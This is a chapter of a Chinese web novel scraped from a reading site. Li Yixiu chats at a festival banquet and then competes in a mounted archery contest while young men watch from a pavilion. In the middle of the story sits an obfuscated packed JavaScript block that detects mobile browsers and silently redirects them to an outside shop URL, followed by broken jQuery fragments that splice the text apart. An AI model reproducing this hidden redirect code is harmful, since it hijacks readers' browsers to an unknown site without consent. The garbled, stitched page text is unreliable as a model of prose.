文趣网 > 其他小说 > 满城尽是修罗场(女尊) > 15.第十五章
    李颐休并未将方才那场小插曲放在心上。

    与王玄英互通姓名后,她神色如常,自众人面前从容走过,径直往溪岸旁的曲水流觞宴而去。

    只是这场宴席有个不成文的规矩,酒觞流至谁面前,谁便要饮酒赋诗。有才情的女郎见状只会跃跃欲试,像李颐休此等看个诗文如同看天书的,只会避之不及,以免当众出丑。

    于是她特意挑了一个最不起眼的位置,坐在席末角落,打定主意安安静静地混完这场宴席。

    宴上供的酒并非什么烈物,只是舒爽可口的青梅酒。

    她轻呷一口,任由那股酸中带甜的滋味在舌尖化开,才又夹了一筷小菜慢慢嚼着。边吃边看那些女郎们凑在一处吟诗作对,有的甚至诗兴大发,念完一首又一首,直看得她连连咂舌。

    “你一个人坐在这里,只看旁人作乐,未免也太过无趣了。”

    一道声音忽然自身侧响起。

    有人挨着她坐下,伸手拿过她案上的青梅酒,替她斟满一盏。

    “怎的不去参与这吟诗雅会?”

    “既然是雅会,那我就不用凑着热闹了。”李颐休侧目看了一眼来人,是王玄英,“我作的诗太臭,怕熏着大家。”

    “建康城中,有人善文,有人善武。可并非人人都要以诗文论高低。”

    王玄英的眸光落在李颐休的身上,“我观你行止之间自有一股利落之气,想来在武艺一道,应当颇有造诣。”

    “我武艺比较一般。”

    李颐休答得十分坦然。

    “那有报名参加待会的骑射比赛么?”

    “嗯。”

    王玄英应声望去。

    只见眼前人面上虽仍挂着浅淡笑意,神色也算温和,可她唇角微微下压,搭在膝上的手指有一下没一下地轻轻敲着,无一不在透露出她其实并不太想继续这个话题,甚至可以称得上疏离。

    她王玄英在建康长大这些年,能当面给她甩脸色的人,有且仅有眼前这一个。但王玄英倒也不恼,毕竟是自己一眼便相看中的人,哪能那般轻易便靠得近,总是要多花些时日,才能慢慢拉近。

    正有一搭没一搭地聊着,一个身穿玄色劲装骑服的女郎,大步流星地从远处走来,经过李颐休面前时目不斜视,径直朝一处小案走去。

    她身量颇高,肩背挺直,眉眼冷峻,行走间自带一股凌厉之气。

    “她是谁?”李颐休问。

    “那人是我远房妹妹。”王玄英轻描淡写地瞟一眼那人,“她叫王澄明。”

    王玄英见李颐休又多看几眼,意味不明地问:“怎么,你对她感兴趣?”

    大抵是军户出身,又兼在沙场上厮杀过几年的缘故,李颐休对武艺不错的人总有一种天然的敏锐度。她收回目光,摇了摇头:“不感兴趣。只是见她这身装束,想来待会儿也要参加骑射比试。”

    “她确实要参加。”

    王玄英将酒盏搁在小案上,发出一声轻微的闷响。她嘴角弯了一下,与李颐休对视,直言不讳道:“我这王家妹妹对此次骑射比赛志在必得,你待会儿怕是要输了。”

    “这样?”李颐休挑眉,“是这骑射第一名的彩头很诱人?”

    “是,也不是。”

    王玄英抬手一指远处猎猎飞扬的五彩旌旗,那是待会儿要比试的骑射场。

    “往年上巳节虽也有骑射之戏,但今年却不同。听闻大殿下会亲临观看此次比赛。”

    她口中的大殿下,正是当今天子的亲哥哥。

    “大殿下今年二十有一,先前因要留在宫中照料年幼的天子,才一直耽搁着。如今天子亲政已满八年,朝中事务也渐渐上手,原先倒还好,如今倒开始着急大殿下的终身大事了。”

    李颐休听懂了她的言外之意,直言不讳道:“所以她是想借着骑射夺魁,在大殿下面前露个脸,盼着能得青眼?”

    “那哪能如此儿戏?”王玄英闻言一笑,“不过是得了第一,能在大殿下面前多露几回脸罢了。至于议亲,怕还得要些时日,大殿下自己倒是不急。”

    “我还以为已经板上钉钉。”

    李颐休低低啧了一声,手肘撑在小案上,侧过身看着王玄英,嘴角浮起一抹促狭的笑。

    “且不说这只是她单相思,八字还没一撇。如今比赛都还没开始,你便说我会输。你们王家人倒是对自家妹妹信心得很。”

    恰在此时,一头戴冠帽,身穿绯色官服的礼官款款而来,朝众人作揖行礼,“宴毕,请诸位移驾射埒。”

    见女郎们皆三三两两结伴前往射箭场,李颐休亦起身,并不管王玄英,嘴里只道:“走了,今儿个我要玩得尽兴。”

    当得知李颐休要参加今日上巳节的骑射比试时,李允知便连忙命人赶制了一套崭新的骑射劲装。至于弓与羽箭,为求公平,皆由华林园统一配置,但李允知还是十分周全地替她备好了扳指、护臂等物件,凡是能想到的,一样不落地送到了她面前。

    李颐休换好一身朱红劲装,排队抽签时恰好排在王澄明身后,而两人又偏偏分在了同一组。除了她二人之外,同组还有八名女郎。

    射箭场上猎风阵阵,旌旗翻飞。换上劲装的女郎们一改方才宴席上裙裾翩然的模样,个个英姿飒爽,眉眼之间尽是少年意气。

    咚!咚!咚!

    几声鼓响敲在台面上,礼官扬声唱道:“上巳节,骑射比试,开始!”

    话音未落,王澄明已一马当先站到起射线上,拉弓搭箭,凝神对准靶心,指松弦响,一箭如流星般飞去,正中靶心。她面色不改,接连再出两箭,皆中靶心。

    负责这一组的小吏举起旗子,报分:“王澄明第一轮连中靶心三次,记三十分!”

    高亭之上,三两小郎临栏眺望,听得报分,脸上皆泛起雀跃之色。

    “澄明姐姐好棒!她自前年上巳节骑射比试便是魁首了,今年肯定还是她!”

    “我也觉得。”一个小郎羞涩地又往下瞅了一眼那道玄色身影,“澄明姐姐身姿真好,我可真喜欢。”

    “羞不羞,就盯着人家的腰和腿看是吧?”

    几人笑闹间,一名容貌清艳,身姿纤长的小郎自她们身后缓步走过,兀自落座于那头戴莲花宝冠,身穿墨青色道袍人的身旁。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17780727|209544||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>陈瑾亲自将食盒摆到卫扶月面前,眉眼含笑道:“多谢你送来的那方药。我哥哥喝了之后,身子好多了。”

    卫扶月将食盒打开,里头有雕花梅球,糖霜桃条等精致甜点,尽是他爱吃的。他舔舔下唇,拿起一个梅球塞进嘴里,咀嚼几下便尽数吞下,脸上露出一个喜滋滋的笑容,“你我之间何谈谢这一字?”

    他捧着糕点,眨巴着圆润的眼,认真叮嘱道:“若是陈琰哥哥/日后还有心痛胸闷之症,尽管来找我。”

    “哥哥前几年从南徐州的昭明书院回来后,便一直食欲不振,时常一个人对镜伤神。”陈瑾托腮长叹了一声,“既推了母亲替他定下的亲事,又说再也不嫁人,要入寺庙。得亏我拦着,哥哥这才歇了念头。”

    卫扶月咬着糖霜桃条,认真想了想,道:“但陈琰哥哥如今进了兰台阁,做了文林郎,每日在宫内处理典籍,负责誊写编纂,这等清贵闲雅的差事,不也是很好么?陈琰哥哥的字如此好看,能将所学用于典籍之中,倒也不算埋没。”

    陈瑾闻言,倒是冷哼一声,手握成拳轻锤小案,“哥哥定是在昭明书院遇见了坏人。若不是如此,哥哥又怎会回来之后便郁郁寡欢,暗自神伤?”

    “若是哪日哥哥肯与我说,我定要寻到那个坏人,狠狠揍她几下,替哥哥出这口恶气。”

    陈瑾一说起陈琰近况,便如竹筒倒豆子一般,孜孜不倦地倾吐起来。卫扶月本是想好好听着,无奈台下小吏一声高喊“李颐休——”,他心神便不受控制地被分了大半出去,两只耳朵尽数往下头探,连那双滴溜圆的眼珠子都忍不住往台下滑去,想瞧清下头正在发生什么。

    “可恨那人,耽误了我哥哥大半生,本该他如今已寻得良缘,成家安稳。现在倒好,哥哥一心扑在典籍誊写上,连家都不大爱回了。他本就被伤透了心,却不愿静养,当真该如何是好?”

    到情切处,陈瑾握住卫扶月的手,满眼忧愁:“不如待上巳节过后,我将哥哥再请出宫来,扶月你替他好好诊一诊,我才好安心。”

    突然覆在手上的温热激得卫扶月一怔,回过神来,忙不迭点头答应。

    可他到底无法违逆本心,心思早已飘去了台下,只想瞧一瞧李颐休此刻如何。

    陈瑾见他神色飘忽,疑惑地问:“你可是有什么要紧事?怎么一直往下看?”说着,也顺着他的目光往下望去。

    按理来说,下方人头攒动,女郎们身影交错,离得又不是很近,若非提前相看过,那张脸本是看不真切的。但陈瑾偏偏就这么一瞥,便牢牢地锁在一道朱红色的背影上。

    那人脑后高束着马尾,以一条简单的红发带系住,猎风拂过,吹得她几缕碎发飞扬。她身形挺拔,举弓时肩背舒展,拉弦之际沉稳有力。

    只见那一支白色羽箭破风而出,正中靶心。

    立在她身旁的小吏随即高声道:“李颐休,连中靶心三次,记三十分!”

    手持弓箭的那人微侧过身,那张俊秀的侧脸便缓缓显露出来。

    卫扶月感到手上一紧,便听陈瑾轻声问道,“扶月,这位射箭的娘子倒是惹眼得很。你可认识她?”